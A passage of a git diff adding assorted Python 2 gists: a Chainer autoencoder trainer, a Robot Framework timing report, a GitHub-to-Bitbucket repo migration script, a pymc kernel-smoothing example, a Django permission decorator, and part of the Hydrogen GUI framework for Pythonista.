+    def train(self, batchnum, batchsize):
+        self.optimizer.zero_grads()
+        x_data, y_data = self.loader(batchnum, batchsize)
+        loss = self.model.forward(x_data, y_data, train=True)
+        loss.backward()
+        self.optimizer.update()
+        return loss.data
+
+    def loop(self, N, batchsize):
+        for epoch in xrange(self.max_epochs):
+            for batchnum in xrange(N / batchsize):
+                loss = float(cuda.to_cpu(self.train(batchnum, batchsize)))
+
+                if not self.logger == None:
+                    logger(epoch+1, batchnum+1, loss)
+
+                if not self.min_loss == None:
+                    if loss <= self.min_loss:
+                        return
+
+def load_image_list(path):
+    tuples = []
+    for line in open(path):
+        pair = line.strip().split()
+        tuples.append((pair[0], np.int32(pair[1])))
+    return tuples
+
+def compute(x_data, function):
+    x = Variable(x_data)
+    return function(x).data
+
+def converter_generator(functions=[]):
+    def converter(x_data):
+        for function in functions:
+            x_data = compute(x_data, function)
+        return x_data
+
+    return converter
+
+def read_image(path, insize, mean_image, center=False, flip=False):
+    cropwidth = 256 - insize
+    image = cv2.imread(path).transpose(2, 0, 1)
+    if center:
+        top = left = cropwidth / 2
+    else:
+        top  = random.randint(0, cropwidth - 1)
+        left = random.randint(0, cropwidth - 1)
+    bottom = insize + top
+    right  = insize + left
+
+    image  = image[[2, 1, 0], top:bottom, left:right].astype(np.float32)
+    image -= mean_image[:, top:bottom, left:right]
+    image /= 255
+    if flip and random.randint(0, 1) == 0:
+        return image[:, :, ::-1]
+    else:
+        return image
+
+def loader_generator(insize, data, mean_image, converter, use_gpu=False):
+    insize = 224
+    cropwidth = 256 - insize
+
+    perm = np.random.permutation(len(train_list))
+    def loader(batchnum, batchsize):
+        x_batch = np.ndarray((batchsize, 3, insize, insize), dtype=np.float32)
+        y_batch = np.ndarray((batchsize,), dtype=np.int32)
+
+        for i in xrange(batchsize):
+            path, label = data[perm[(batchnum * batchsize + i) % len(data)]]
+            x_batch[i] = read_image(path, insize, mean_image, False, True)
+            y_batch[i] = label
+
+        if use_gpu:
+            x_batch = cuda.to_gpu(x_batch)
+            y_batch = cuda.to_gpu(y_batch)
+
+        return converter(x_batch), y_batch
+
+    return loader
+
+def logger(epoch, batchnum, loss):
+    print 'Epoch {0:d} Batchnum {1:d} Loss={2:.5f}'.format(epoch, batchnum, loss)
+
+if __name__ == '__main__':
+    parser = argparse.ArgumentParser(description='Chainer example: Convolutional Autoencoder')
+    parser.add_argument('--gpu', '-g', default=-1, type=int,
+                        help='GPU ID (negative value indicates CPU)')
+    parser.add_argument('--batchsize', '-B', type=int, default=32,
+                        help='Learning minibatch size')
+    parser.add_argument('--train', '-t', type=str, default="train.txt",
+                        help='Training image/label list')
+    parser.add_argument('--val', '-v', type=str, default="val.txt",
+                        help='Validation image/label list')
+    parser.add_argument('--mean', '-m', type=str, default='ilsvrc_2012_mean.npy',
+                        help='Image mean file')
+    parser.add_argument('--conv1_1', type=str, default=None,
+                        help='Pickle file for conv1_1')
+    args = parser.parse_args()
+
+    conv1_1 = ConvolutionalAutoencoder( 3, 64, 3, pad=1)
+
+    use_gpu = False
+    if args.gpu >= 0:
+        use_gpu = True
+        cuda.init(args.gpu)
+        conv1_1.to_gpu()
+
+    insize = 224
+    train_list = load_image_list(args.train)
+    val_list = load_image_list(args.val)
+    mean_image = np.load(args.mean)
+    encoders = []
+    decoders = []
+
+    # Train layer 1
+    if args.conv1_1 == None:
+        converter1_1 = converter_generator(encoders)
+        loader1_1 = loader_generator(insize, train_list, mean_image, converter1_1, use_gpu=use_gpu)
+        optimizer1_1 = optimizers.MomentumSGD(lr=0.01, momentum=0.9)
+        trainer1_1 = Trainer(conv1_1, optimizer1_1, loader1_1, max_epochs=1, logger=logger)
+
+        trainer1_1.loop(len(train_list), args.batchsize)
+
+        f1_1 = open('pkl/conv1_1.pkl', 'wb')
+        pickle.dump(conv1_1, f1_1)
+        f1_1.close()
+    else:
+        f1_1 = open(args.conv1_1, 'rb')
+        conv1_1 = pickle.load(f1_1)
+        f1_1.close()
+
+    encoders = encoders + [conv1_1.encode, F.sigmoid]
+    decoders = [conv1_1.decode, F.sigmoid] + decoders
+    reconstructor = converter_generator(encoders + decoders)
+
+    path, label = val_list[0]
+    x_data = np.ndarray((1, 3, insize, insize), dtype=np.float32)
+    x_data[0] = read_image(path, insize, mean_image)
+    if use_gpu:
+        x_data = cuda.to_gpu(x_data)
+    y_data = cuda.to_cpu(reconstructor(x_data))
+    x_data = cuda.to_cpu(x_data)
+
+    origin = cv2.cvtColor(x_data[0].transpose(1, 2, 0) * 255, cv2.COLOR_RGB2BGR)
+    img1_1 = cv2.cvtColor(y_data[0].transpose(1, 2, 0) * 255, cv2.COLOR_RGB2BGR)
+    cv2.imwrite('img/origin.jpg', origin)
+    cv2.imwrite('img/img1_1.jpg', img1_1)
\ No newline at end of file
diff --git a/hard-gists/5900563/._snippet.py b/hard-gists/5900563/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5900563/._snippet.py differ
diff --git a/hard-gists/5900563/snippet.py b/hard-gists/5900563/snippet.py
new file mode 100644
index 00000000..9ca28206
--- /dev/null
+++ b/hard-gists/5900563/snippet.py
@@ -0,0 +1,76 @@
+from robot.api import ExecutionResult, ResultVisitor
+import math, re
+
+class KeywordTimes(ResultVisitor):
+
+    VAR_PATTERN = re.compile(r'^(\$|\@)\{[^\}]+\}(, \$\{[^\}]+\})* = ')
+
+    def __init__(self):
+        self.keywords = {}
+
+    def end_keyword(self, keyword):
+        name = self._get_name(keyword)
+        if name not in self.keywords:
+           self.keywords[name] = KeywordsTime(name)
+        self.keywords[name].elapsedtimes += [keyword.elapsedtime]
+
+    def _get_name(self, keyword):
+        name = keyword.name
+        m = self.VAR_PATTERN.search(name)
+        if m:
+           return name[m.end():]
+        return name
+
+
+class KeywordsTime(object):
+
+    def __init__(self, name):
+        self.name = name
+        self.elapsedtimes = []
+
+    @property
+    def elapsed(self):
+        return float(sum(self.elapsedtimes))/1000
+
+    @property
+    def calls(self):
+        return len(self.elapsedtimes)
+
+    @property
+    def average_time(self):
+        return round(float(self.elapsed)/self.calls, 3)
+
+    @property
+    def median_time(self):
+        s = sorted(self.elapsedtimes)
+        half = float(len(s)-1) / 2
+        half_low = int(math.floor(half))
+        half_high = int(math.ceil(half))
+        return round(float(s[half_low]+s[half_high])/2000, 3)
+
+    @property
+    def variance(self):
+        squares = [(float(i)/1000)**2 for i in self.elapsedtimes]
+        return sum(squares)/len(squares)-(self.elapsed/self.calls)**2
+
+    @property
+    def standard_deviation(self):
+        return round(self.variance**0.5, 3)
+
+    def __cmp__(self, other):
+        return other.elapsed - self.elapsed
+
+
+if __name__ == '__main__':
+    import sys
+    resu = ExecutionResult(sys.argv[1])
+    times = KeywordTimes()
+    resu.visit(times)
+    s = sorted(times.keywords.values())
+    shown_keywords = 100
+    print 'Total time (s) | Number of calls | avg time (s) | median time (s) | standard deviation (s) | Keyword name'
+    for k in s[:shown_keywords]:
+        print str(k.elapsed).rjust(14)+' | '+str(k.calls).rjust(15)+ ' | ' + \
+                str(k.average_time).rjust(12) + ' | ' + str(k.median_time).rjust(15) + \
+                ' | ' + str(k.standard_deviation).rjust(22) + (' | "%s"' % k.name)
+    print 'Showing %d of total keywords %d' % (shown_keywords, len(times.keywords))
diff --git a/hard-gists/5907109/._snippet.py b/hard-gists/5907109/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5907109/._snippet.py differ
diff --git a/hard-gists/5907109/snippet.py b/hard-gists/5907109/snippet.py
new file mode 100644
index 00000000..76c05891
--- /dev/null
+++ b/hard-gists/5907109/snippet.py
@@ -0,0 +1,50 @@
+__author__ = 'schwa'
+
+import os
+import subprocess
+import glob
+from github import Github # pip install PyGithub
+from bitbucket.bitbucket import Bitbucket # pip install --user bitbucket-api
+
+GH_USERNAME = 'jwight@mac.com'
+GH_PASSWORD = '1234'
+
+BB_USERNAME = 'jwight@mac.com'
+BB_PASSWORD = '5678'
+
+## Set up
+d = os.path.expanduser('~/Desktop/Private Repos')
+if not os.path.exists(d):
+    os.makedirs(d)
+os.chdir(d)
+
+## Get list of all your github private repos.
+## By default we filter out public repos and repos where you are not the owner. You can change this.
+g = Github(GH_USERNAME, GH_PASSWORD)
+theRepos = []
+for repo in g.get_user().get_repos():
+    if not repo.private:
+        continue
+    if repo.owner.name != g.get_user().name:
+        continue
+    theRepos.append((repo.name, repo.clone_url))
+
+### CLOWN ALL THE THIGNS
+for theName, theCloneURL in theRepos:
+    print theName
+    subprocess.check_call(['git', 'clone', theCloneURL, theName])
+
+### Go through all the cloned directories, create a bitbucket repo and then push them
+### If the repo already exists on github this will skip it.
+bb = Bitbucket(BB_USERNAME, BB_PASSWORD, 'private_slug')
+for name in glob.iglob('*'):
+    print name
+    result, r = bb.repository.create(name, scm='git', private=True)
+    if not result:
+        print 'Could not create repo, skipping'
+        continue
+    push_url = 'git@bitbucket.org:{owner}/{name}.git'.format(owner = r['owner'], name = r['name'])
+    os.chdir(name)
+    subprocess.check_call(['git', 'remote', 'set-url', 'origin', push_url])
+    subprocess.check_call(['git', 'push'])
+    os.chdir(d)
diff --git a/hard-gists/5911624/._snippet.py b/hard-gists/5911624/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5911624/._snippet.py differ
diff --git a/hard-gists/5911624/snippet.py b/hard-gists/5911624/snippet.py
new file mode 100644
index 00000000..9dbb03bc
--- /dev/null
+++ b/hard-gists/5911624/snippet.py
@@ -0,0 +1,92 @@
+from scipy.stats.kde import gaussian_kde
+import pymc
+from math import log
+from matplotlib import pyplot
+
+def KernelSmoothing(name, dataset, bw_method=None, lower=float('-inf'), upper=float('inf'), observed=False, value=None):
+    '''Create a pymc node whose distribution comes from a kernel smoothing density estimate.'''
+    density = gaussian_kde(dataset, bw_method)
+    lower_tail = 0
+    upper_tail = 0
+    if lower > float('-inf'):
+        lower_tail = density.integrate_box(float('-inf'),lower)
+    if upper < float('inf'):
+        upper_tail = density.integrate_box(upper,float('inf'))
+    factor = 1.0/(1.0 - lower_tail - upper_tail)
+    
+    def logp(value):
+        if value < lower or value > upper:
+            return float('-inf')
+        d = density(value)
+        if d == 0.0:
+            return float('-inf')
+        return log(factor*density(value))
+
+    def random():
+        result = None
+        while result == None:
+            result = density.resample(1)[0][0]
+            if result < lower or result > upper:
+                result = None
+        return result
+    
+    if value == None:
+        value = random()
+    
+    dtype = type(value)
+    
+    result = pymc.Stochastic(logp = logp,
+                             doc = 'A kernel smoothing density node.',
+                             name = name,
+                             parents = {},
+                             random = random,
+                             trace = True,
+                             value = dataset[0],
+                             dtype = dtype,
+                             observed = observed,
+                             cache_depth = 2,
+                             plot = True,
+                             verbose = 0)
+    return result
+
+
+###############################################################################
+# Use the KernelSmoothing node to update a prior after new information is added
+###############################################################################
+
+#True value, used to generate observed values
+xtrue = 2                        
+
+#Initial prior to be passed to the KernelSmoothing node
+x = pymc.rnormal(0, 0.01, size=5000) 
+
+#Plot the prior
+pyplot.figure()
+pyplot.hist(x,bins=30)
+pyplot.title('Prior Distribution of X')
+pyplot.show()
+
+for i in range(10):
+    
+    #Create the KernelSmoothing node
+    X = KernelSmoothing('X', x)
+    
+    # f(x) = x*x
+    Y = X*X
+             
+    #Create the observed node with data generated from the true distribution
+    OBS = pymc.Normal('OBS', Y, 0.1, value=xtrue*xtrue+pymc.rnormal(0,1), observed=True)
+    
+    #Do the sampling
+    model = pymc.Model([X,Y,OBS])
+    mcmc = pymc.MCMC(model)
+    mcmc.sample(5000)
+    
+    #Get the posterior sample, to be passed into the KernelSmoothing node on the next iteration
+    x = mcmc.trace('X')[:]
+    
+    #Display the histogram of the posterior distribution
+    pyplot.figure()
+    pyplot.hist(x,bins=30)
+    pyplot.title('Posterior Distribution of X: %d Iterations' % (i+1,))
+    pyplot.show()
diff --git a/hard-gists/592040/._snippet.py b/hard-gists/592040/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/592040/._snippet.py differ
diff --git a/hard-gists/592040/snippet.py b/hard-gists/592040/snippet.py
new file mode 100644
index 00000000..31af1a02
--- /dev/null
+++ b/hard-gists/592040/snippet.py
@@ -0,0 +1,33 @@
+try:
+    from functools import wraps
+except ImportError:
+    from django.utls.functional import wraps
+
+from django.conf import settings
+from django.contrib.auth import REDIRECT_FIELD_NAME
+from django.http import HttpResponseForbidden, HttpResponseRedirect
+from django.template import loader, RequestContext, TemplateDoesNotExist
+from django.utils.decorators import available_attrs
+from django.utils.http import urlquote
+
+
+def permission_required(perm, login_url=None, redirect=REDIRECT_FIELD_NAME):
+    """A replacement for django.contrib.auth.decorators.permission_required
+    that doesn't ask authenticated users to log in."""
+
+    if not login_url:
+        login_url = settings.LOGIN_URL
+
+    def decorator(view_fn):
+        def _wrapped_view(request, *args, **kwargs):
+            if request.user.is_authenticated():
+                if request.user.has_perm(perm):
+                    return view_fn(request, *args, **kwargs)
+                t = loader.get_template('403.html')
+                c = RequestContext(request, {'request_path': request.path})
+                return HttpResponseForbidden(t.render(c))
+            path = urlquote(request.get_full_path)
+            tup = login_url, redirect, path
+            return HttpResponseRedirect('%s?%s=%s' % tup)
+        return wraps(view_fn, assigned=available_attrs(view_fn))(_wrapped_view)
+    return decorator
\ No newline at end of file
diff --git a/hard-gists/5924965/._snippet.py b/hard-gists/5924965/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5924965/._snippet.py differ
diff --git a/hard-gists/5924965/snippet.py b/hard-gists/5924965/snippet.py
new file mode 100644
index 00000000..58593a24
--- /dev/null
+++ b/hard-gists/5924965/snippet.py
@@ -0,0 +1,668 @@
+#
+# Hydrogen is a lightweight GUI framework for Pythonista
+#
+# Hydrogen        - https://gist.github.com/BashedCrab/5924965
+#
+# HydrogenLayouts - https://gist.github.com/BashedCrab/6103019
+#
+# HydrogenDemo    - https://gist.github.com/BashedCrab/5953776
+#
+
+from scene import *
+
+# Shape drawing functions used to draw components
+
+def cylinder(x=0, y=0, w=0, h=0, r=0):
+	rect(x + h / 2, y, w - h, h)
+	ellipse(x, y, h, h)
+	ellipse(x + w - h, y, h, h)
+
+def rectangle(x=0, y=0, w=0, h=0, r=0):
+	rect(x, y, w, h)
+
+def round_rect(x=0, y=0, w=0, h=0, r=0):
+	if(r <= 0):
+		rect(x, y, w, h)
+	elif(r >= h):
+		cylinder(x, y, w, h)
+	else:
+		d = r * 2
+		rect(x + r, y, w - d, h)
+		rect(x, y + r, w, h - d)
+		ellipse(x, y, d, d)
+		ellipse(x, y + h - d, d, d)
+		ellipse(x + w - d, y, d, d)
+		ellipse(x + w - d, y + h - d, d, d)
+		
+def round_bottom_rect(x=0, y=0, w=0, h=0, r= 0):
+	if(r <= 0):
+		rect(x, y, w, h)
+	elif(r >= h):
+		cylinder(x, y, w, h)
+	else:
+		d = r * 2
+		rect(x, y + r, w, h - r)
+		rect(x + r, y, w - d, r)
+		ellipse(x, y, d, d)
+		ellipse(x + w - d, y, d, d)
+	
+def round_top_rect(x=0, y=0, w=0, h=0, r= 0):
+	if(r <= 0):
+		rect(x, y, w, h)
+	elif(r >= h):
+		cylinder(x, y, w, h)
+	else:
+		d = r * 2
+		rect(x, y, w, h - r)
+		rect(x + r, y + h - r, w - d, r)
+		ellipse(x, y + h - d, d, d)
+		ellipse(x + w - d, y + h - d, d, d)
+
+def round_left_rect(x=0, y=0, w=0, h=0, r=0):
+	if(r <= 0):
+		rect(x, y, w, h)
+	elif(r >= h):
+		cylinder(x, y, w, h)
+	else:
+		d = r * 2
+		rect(x, y + r, r, h - d)
+		rect(x + r, y, w - r, h)
+		ellipse(x, y, d, d)
+		ellipse(x, y + h - d, d, d)
+		
+def round_right_rect(x=0, y=0, w=0, h=0, r=0):
+	if(r <= 0):
+		rect(x, y, w, h)
+	elif(r >= h):
+		cylinder(x, y, w, h)
+	else:
+		d = r * 2
+		rect(x + w - r, y + r, r, h - d)
+		rect(x, y, w - r, h)
+		ellipse(x + w - d, y, d, d)
+		ellipse(x + w - d, y + h - d, d, d)
+
+# Default Look and Feel used within Hydrogen
+
+HGreyLookAndFeel = {
+                "Shape" : round_rect,
+                "Foreground" : (0.00, 0.00, 0.00, 1.00),
+                "Background" : (0.90, 0.90, 0.90, 1.00),
+                "Border" : (0.50, 0.50, 0.50, 1.00),
+                "Border Width" : 1,
+                "Font" : 'AppleSDGothicNeo-Medium',
+                "Font Size" : 16,
+                "Edge Radius" : 6,
+                "Disabled Foreground" : (0.40, 0.40, 0.40, 1.00),
+                "Disabled Background" : (0.70, 0.70, 0.70, 1.00),
+                "Disabled Border" : (0.40, 0.40, 0.40, 1.00),
+                "Show Background" : True,
+                "Show Border" : True,
+                "Scene Background" : (0.80, 0.80, 0.80),
+                "Button Foreground" : (0.00, 0.00, 0.00, 1.00), 
+                "Button Background" : (0.85, 0.85, 0.85, 1.00),
+                "Button Selected" : (0.60, 0.60, 0.60, 1.00),
+                "Image Foreground" : (1.00, 1.00, 1.00, 1.00),
+                "Image Show Background" : False,
+                "Image Show Border" : False,
+                "Text Foreground" : (0.00, 0.00, 0.00, 1.00),
+                "Text Show Background" : False,
+                "Text Show Border" : False,
+               	"Progress Bar Shape" : cylinder,
+                "Progress Bar Background" : (1.00, 1.00, 1.00, 1.00),
+                "Progress Bar Foreground" : (0.00, 0.50, 1.00, 1.00),
+								"Slider Shape" : cylinder,
+                "Slider Foreground" : (0.00, 0.50, 1.00, 1.00),
+                "Slider Show Background" : True,
+                "Slider Show Border" : True,         
+                "Switch Shape" : cylinder,
+                "Switch Background On" : (0.00, 0.50, 1.00, 1.00),
+                "Switch Background Off" : (1.00, 1.00, 1.00, 1.00),
+}
+	
+LAF = HGreyLookAndFeel
+
+# HInset used to for inset spacing in layouts
+
+class HInset(object):
+	def __init__(self, left=0, right=0, top=0, bottom=0):
+		self.top = top
+		self.bottom = bottom
+		self.left = left
+		self.right = right
+		
+	def width(self):
+		return self.left + self.right
+		
+	def height(self):
+		return self.top + self.bottom
+
+# Base HComponent class
+# Parent class for all Hydrogen GUI Classes
+	
+class HComponent (object):
+	def __init__(self):
+		self.bounds = Rect(0, 0, 20, 100)
+		self.preferred_size = None
+		self.is_enabled = True
+		self.is_visible = True
+		self.owner = None
+		self.id = None
+		self.ignores_touches = False
+		self.laf_prefix = ""
+		self.laf_keys = ["Shape", "Background", "Foreground", "Border", "Border Width", "Show Border", 
+		                 "Show Background", "Disabled Foreground", "Disabled Background", 
+		                 "Disabled Border", "Edge Radius", "Font", "Font Size"]
+		self.laf = {}
+		self.laf_loaded = False
+		self.touch_listeners = []
+
+	# Gets called when the component is added a container (including the base scene)
+	# The look and feel should already have been loaded so you can safely change position
+	# or calculate sizes based on look and feel font sizes etc
+	
+	def setup(self):
+		pass
+				
+	def load_lookandfeel(self):
+		def get_laf_value(key):
+			value = None
+			try:
+				value = LAF[self.laf_prefix + key]
+			except KeyError:
+				value = LAF[key]
+			return value
+			
+		for key in self.laf_keys:
+			self.laf[key] = get_laf_value(key)
+		if(self.laf_loaded == False):
+			self.laf_loaded = True
+			size = self.get_preferred_size()
+			self.bounds.w = size.w
+			self.bounds.h = size.h
+
+	# Methods enable the Layout system to know preferred sizes of components
+	
+	def get_preferred_size(self):
+		if self.preferred_size is not None:
+			return self.preferred_size
+		else:
+			return self.calculate_preferred_size()
+			
+	# This is the method to override to provide the layout with the preferred size of your custom component
+	
+	def calculate_preferred_size(self):
+		return self.bounds.size()
+		
+	def get_screen_origin(self):
+		if self.owner == None:
+			return self.bounds.origin()
+		else:
+			x, y = self.bounds.origin().as_tuple()
+			x_offset, y_offset = self.owner.get_screen_origin().as_tuple()
+			x_screen = x + x_offset
+			y_screen = y + y_offset
+			return Point(x_screen, y_screen)
+			
+	def get_scene(self):
+		if isinstance(self, HScene):
+			return self
+		elif self.owner == None:
+			return None
+		else: 
+			return self.owner.get_scene()
+
+	def hit_test(self, x, y):
+		if not self.is_visible:
+			return None
+		elif self.ignores_touches:
+			return None
+		elif not self.is_enabled:
+			return None
+		elif Point(x, y) in self.bounds:
+			return self
+		else:
+			return None
+	
+	# Component drawing methods
+			
+	def set_border_fill(self):
+		if(self.is_enabled):
+			fill(*self.laf["Border"])
+		else:
+			fill(*self.laf["Disabled Border"])
+
+	def set_background_fill(self):
+		if(self.is_enabled):
+			fill(*self.laf["Background"])
+		else:
+			fill(*self.laf["Disabled Background"])
+			
+	def set_foreground_fill(self):
+		if(self.is_enabled):
+			tint(*self.laf["Foreground"])
+			fill(*self.laf["Foreground"])
+		else:
+			tint(*self.laf["Disabled Foreground"])
+			fill(*self.laf["Disabled Foreground"])
+	
+	# Default draw border method should be fine for most custom components
+	# Part of the new Look and Feel system	
+	
+	def draw_border(self, x, y):
+		if(self.laf["Show Border"]):
+			self.set_border_fill()
+			self.laf["Shape"](x, y, self.bounds.w, self.bounds.h, self.laf["Edge Radius"])
+			
+	# Default draw background method should be fine for most custom components
+	# Part of the new Look and Feel system
+	
+	def draw_background(self, x, y):
+		if(self.laf["Show Background"]):
+			self.set_background_fill()
+			if(self.laf["Show Border"]):
+				self.laf["Shape"](x + self.laf["Border Width"], y + self.laf["Border Width"], 
+				           self.bounds.w - self.laf["Border Width"] * 2, 
+				           self.bounds.h - self.laf["Border Width"] * 2, 
+			  	         self.laf["Edge Radius"] - self.laf["Border Width"])
+			else:
+				self.laf["Shape"](x, y, self.bounds.w, self.bounds.h, self.laf["Edge Radius"])
+			
+	# Preferred method to override for drawing your custom component.  Starting here means
+	# the Look and Feel will take care of the Border and Background.  The bounds of the 
+	# component includes the border, so you will need to manually account for border width
+	# and edge radius when drawing the contents of your control
+	# The x,y parameters passed are the screen coordinates of the bottom left edge
+	
+	def draw_foreground(self, x, y):
+		pass
+			
+	# Root method called to draw the Component.  Override this if you want your component
+	# to be built from scratch, (potentially) outside the look and feel system
+	# Component x,y values are relative to their container.  x_offset & y_offset need to be
+	# added to the local x,y values to get screen coordinates for drawing the component
+	
+	def h_draw(self, x_offset, y_offset):
+		x = self.bounds.x + x_offset
+		y = self.bounds.y + y_offset
+		no_stroke()
+		self.draw_border(x, y)
+		self.draw_background(x, y)
+		self.draw_foreground(x, y)
+								
+	def h_touch_began(self, touch):
+		for t in self.touch_listeners:
+			t(self, "began", touch)
+		
+	def h_touch_moved(self, touch):
+		for t in self.touch_listeners:
+			t(self, "moved", touch)
+		
+	def h_touch_ended(self, touch):
+		for t in self.touch_listeners:
+			t(self, "ended", touch)
+		
+# Base class for any container component that contains child components
+# Has enough functionality to be used as a basic panel as is.
+
+class HContainer(HComponent):
+	def __init__(self):
+		HComponent.__init__(self)
+		self.components = []
+		self.layout = HLayout(self)
+		self.insets = HInset()
+		
+	def load_lookandfeel(self):
+		HComponent.load_lookandfeel(self)
+		for c in self.components:
+			c.load_lookandfeel()
+		self.pack()
+		
+	def calculate_preferred_size(self):
+		return self.layout.get_preferred_size()
+		
+	def add_component(self, comp, constraints=None):
+		comp.load_lookandfeel()
+		comp.setup()
+		self.components.append(comp)
+		comp.owner = self
+		self.layout.add(comp, constraints)
+		self.do_layout()
+		
+	def do_layout(self):
+		self.layout.do_layout()
+		for c in self.components:
+			if isinstance(c, HContainer):
+				c.do_layout()
+			
+	def pack(self):
+		pref_size = self.get_preferred_size()
+		self.bounds.w = pref_size.w
+		self.bounds.h = pref_size.h
+		self.do_layout()
+
+	def draw_components(self, x_offset, y_offset):
+		x = self.bounds.x + x_offset
+		y = self.bounds.y + y_offset
+		for c in self.components:
+			if c.is_visible:
+				c.h_draw(x, y)
+				if isinstance(c, HContainer):
+					c.draw_components(x, y)
+		
+	def hit_test(self, x, y):
+		if(not self.is_visible):
+			return None
+		comp = None
+		p = Point(x - self.bounds.x , y - self.bounds.y)
+		for c in reversed(self.components):
+			comp = c.hit_test(p.x, p.y)
+			if comp <> None:
+				break
+		if comp == None:
+			return HComponent.hit_test(self, x, y)
+		else:
+			return comp
+			
+# Base Image component
+
+class HImage(HComponent):
+	def __init__(self, img = None, img_size = None):
+		HComponent.__init__(self)
+		self._img = img
+		self._img_size = img_size
+		self.laf_prefix = "Image "
+		self.stretch = False
+		self.ignores_touches = True
+		
+	def set_image(self, img, img_size):
+		self._img = img
+		self._img_size = img_size
+		
+	def calculate_preferred_size(self):
+		if(self.laf_loaded == False):
+			return self.bounds.size()
+		if(self._img_size == None):
+			return self.bounds.size()
+		pad = self.laf["Edge Radius"] * 2
+		if self.laf["Show Border"]: 
+			pad += self.laf["Border Width"]
+		return Size(self._img_size.w + pad, self._img_size.h + pad)	
+
+	def draw_foreground(self, x, y):
+		self.set_foreground_fill()
+		if(self._img <> None):
+			if(self.stretch):
+				image(self._img, x, y, self.bounds.w, self.bounds.h)
+			else:
+				image(self._img, x + (self.bounds.w - self._img_size.w) / 2,
+			      y + (self.bounds.h - self._img_size.h) / 2, self._img_size.w, self._img_size.h)
+
+# Text component - takes the given text and creates an image for the HImage subclass to display
+
+class HText(HImage):
+	def __init__(self, txt="Text"):
+		HImage.__init__(self)
+		self._text = txt
+		self.laf_prefix = "Text "
+
+	def set_text(self, t):
+		self._text = t
+		self._img = None
+		
+	def load_lookandfeel(self):
+		self._img = None
+		HImage.load_lookandfeel(self)
+		
+	def calculate_preferred_size(self):
+		if(self.laf_loaded == False):
+			return self.bounds.size()
+		elif(self._text == None):
+			return self.bounds.size()
+		else:
+			self._img, self._img_size = render_text(self._text, self.laf["Font"], self.laf["Font Size"])
+			return HImage.calculate_preferred_size(self)
+
+	def draw_foreground(self, x, y):
+		if(self._text <> None and self._img == None):
+			self._img, self._img_size = render_text(self._text, self.laf["Font"], self.laf["Font Size"])
+		HImage.draw_foreground(self, x, y)
+
+
+# Basic button Component
+# Take the basic functionality of the HText component and make it click
+# Buttons can also take images, since HImage is the super class of both
+# HText and HButton
+
+class HButton(HText):
+	def __init__(self, txt="Button"):
+		HText.__init__(self, txt)
+		self.laf_prefix = "Button "
+		self.laf_keys.append("Selected")
+		self.is_selected = False
+		self.click_listeners = []
+		self.ignores_touches = False
+		
+	def draw_background(self, x, y):
+		if(self.laf["Show Background"]):
+			if(self.is_selected): 
+				_background = self.laf["Background"]
+				self.laf["Background"] = self.laf["Selected"]
+				HComponent.draw_background(self, x, y)
+				self.laf["Background"] = _background
+			else:
+				HComponent.draw_background(self, x, y)
+		
+	def h_touch_began(self, touch):
+		if(self.is_enabled):
+			self.is_selected = True
+			
+	def h_touch_ended(self, touch):
+		if(self.is_enabled):
+			self.is_selected = False
+			screen_x, screen_y = self.get_screen_origin().as_tuple()
+			screen_bounds = Rect(screen_x, screen_y, self.bounds.w, self.bounds.h)
+			if(touch.location in screen_bounds):
+				for click in self.click_listeners:
+					click(self)
+		
+# Progress bar to display visual progress on screen
+
+class HProgressBar(HComponent):
+	def __init__(self):
+		HComponent.__init__(self)
+		self.preferred_size = Size(150, 15)
+		self.laf_prefix = "Progress Bar "
+		self.value = 0.0
+		
+	# TODO: finish implementing new look and feel system - will draw slightly glitchy if 
+	# shape is not a cylinder
+	
+	def draw_foreground(self, x, y):
+		# If value 0 then no progress to be drawn
+		if(self.value == 0):
+			return
+		# Setup local coords inside border
+		w = self.bounds.w
+		h = self.bounds.h
+		if(self.laf["Show Border"]):
+			w = w - (self.laf["Border Width"] * 2)
+			h = h - (self.laf["Border Width"] * 2)
+			x = x + self.laf["Border Width"]
+			y = y + self.laf["Border Width"]	
+		pixel_progress = w * self.value
+		self.set_foreground_fill()
+		if(self.value >= 1.0):
+			self.laf["Shape"](x, y, w, h, self.laf["Edge Radius"] - self.laf["Border Width"])
+			return
+		self.laf["Shape"](x, y, h, h, self.laf["Edge Radius"] - self.laf["Border Width"])
+		if(pixel_progress <= (h / 2)):
+			self.set_background_fill()
+			rect(x + (h / 2), y, h, h)
+		elif(pixel_progress <= h):
+			rect(x + (h / 2), y, h / 2, h)
+			self.set_background_fill()
+			blank = h - pixel_progress
+			rect(x + h - blank, y, h, h)
+		else:
+			if(pixel_progress > w - (h / 2)): pixel_progress = w - (h / 2)
+			rect(x + (h / 2), y, pixel_progress - (h / 2), h)
+			
+# Slider component to visually control the output of a value.
+# HSlider.value varies from 0.0 at minimum to 1.0 at maximum
+
+class HSlider(HContainer):
+	def __init__(self):
+		HContainer.__init__(self)
+		self.preferred_size = Size(150, 25)
+		self.laf_prefix = "Slider "
+		self.progress_bar = HProgressBar()
+		self.progress_bar.ignores_touches = True
+		self.button = HComponent()
+		self.button.laf_prefix = "Slider "
+		self.button.ignores_touches = True
+		self.add_component(self.progress_bar)
+		self.add_component(self.button)
+		self.value = 0.0
+		self.change_listeners = []
+
+	def draw_foreground(self, x, y):
+		# This is just a convenient entry point to (re)locate the child components relative to ourselves
+		r = self.bounds.h / 4
+		self.progress_bar.value = self.value
+		self.progress_bar.bounds.w = self.bounds.w - (2 * r)
+		self.progress_bar.bounds.h = self.bounds.h / 2
+		self.progress_bar.bounds.x = r
+		self.progress_bar.bounds.y = r
+		self.button.bounds.h = self.bounds.h
+		self.button.bounds.w = self.bounds.h
+		self.button.bounds.x = ((self.bounds.w - self.bounds.h) * self.value)
+		self.button.bounds.y = 0
+
+	def value_changed(self):
+		for change in self.change_listeners:
+			change(self)
+
+	def h_touch_moved(self, touch):
+		self.value  = self.value  + ((touch.location.x - touch.prev_location.x) / (self.bounds.w * 1.0))
+		if(self.value > 1.0): self.value = 1.0
+		elif(self.value < 0.0): self.value = 0.0
+		self.value_changed()
+
+# Switch component for a binary on/off selection
+# HSwitch.value will be 0.0 for off and 1.0 on
+
+class HSwitch(HContainer):			
+	def __init__(self):
+		HContainer.__init__(self)
+		self.preferred_size = Size(60, 25)
+		self.laf_prefix = "Switch "
